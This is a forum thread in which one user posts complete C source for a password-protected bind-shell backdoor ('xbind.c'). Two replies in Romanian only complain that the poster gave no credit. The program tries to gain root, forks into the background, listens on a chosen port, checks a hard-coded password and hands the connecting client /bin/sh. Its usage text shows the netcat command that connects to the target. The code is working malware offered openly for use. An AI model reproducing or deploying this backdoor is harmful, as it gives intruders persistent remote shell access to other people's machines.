C backdoor src

[io.kent]

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 

#define ENTERPASS "Enert your password: \0" 
#define WELCOME  "Welcome to shell\r\nlet's do it:\r\n" 
#define PASSWORD "Cyb3r" 
int main(int argc, char **argv) 
{ 
   struct sockaddr_in s_addr; 
    struct sockaddr_in c_addr; 
    char buf[1024]; 
   pid_t pid; 
   int i,sock_descriptor,temp_sock_descriptor,c_addrsize; 

   setuid(0); 
    setgid(0); 
   seteuid(0); 
   setegid(0); 

if (argc!=2){ 
   printf("=================================\r\n"); 
   printf("|xbind.c by pr0cess\r\n"); 
   printf("|Usage:\r\n"); 
   printf("|./xbind 1985\r\n"); 
   printf("|nc -vv targetIP 1985\r\n"); 
   printf("|enter the password to get shell\r\n"); 
   printf("|Have a nice day;)\r\n"); 
   printf("=================================\r\n"); 
   exit(1); 

} 
if (fork()){ 
   exit(0); 
} 

sock_descriptor=socket(AF_INET,SOCK_STREAM,0);    
if (socket(AF_INET,SOCK_STREAM,0)==-1){ 
   printf("socket failed!"); 
   exit(1); 
} 
memset(&s_addr,0,sizeof(s_addr)); 
//bzero(&s_addr,sizeof(s_addr)); 
s_addr.sin_family=AF_INET; 
s_addr.sin_addr.s_addr=htonl(INADDR_ANY); 
s_addr.sin_port=htons(atoi(argv[1])); 
if (bind(sock_descriptor,(struct sockaddr *)&s_addr,sizeof(s_addr))==-1){ 
   printf("bind failed!"); 
   exit(1); 
} 
if (listen(sock_descriptor,20)==-1)//accept 20 connections 
{ 
   printf("listen failed!"); 
   exit(1); 
} 
c_addrsize=sizeof(c_addr); 
temp_sock_descriptor=accept(sock_descriptor,(struct sockaddr *)&c_addr,&c_addrsize); 
//recv 
while(temp_sock_descriptor){ 
   pid=fork();  
   if (pid>0) { 
      close(temp_sock_descriptor); 
      continue; 
   }else if (pid==0){ 
      write(temp_sock_descriptor, ENTERPASS, strlen(ENTERPASS)); 
      memset(buf, '\0', 1024); 
      recv(temp_sock_descriptor, buf, 1024, 0); 

      if (strncmp(buf,PASSWORD,5) !=0){ 
         close(temp_sock_descriptor); 
         exit(1); 
      } 

      write(temp_sock_descriptor, WELCOME, strlen(WELCOME)); 
      dup2(temp_sock_descriptor,0); 
      dup2(temp_sock_descriptor,1); 
      dup2(temp_sock_descriptor,2); 
      execl("/bin/sh", "sh", (char *) 0); 
      close(temp_sock_descriptor); 
      exit(0); 
   }else{    

      exit(1);  
   } 
} 

close(sock_descriptor); 
   return 0; 
}

[aelius]

Specifica sursa cand pui ceva care nu este facut de tine. Nici noua nu ne convine cand ne fura lumea content de pe blog-uri sau forum.

Asa e corect, copiezi sau citezi de la cineva, acorzi credit.

[me.mello]

Specifica sursa cand pui ceva care nu este facut de tine. Nici noua nu ne convine cand ne fura lumea content de pe blog-uri sau forum.

Asa e corect, copiezi sau citezi de la cineva, acorzi credit.

Corect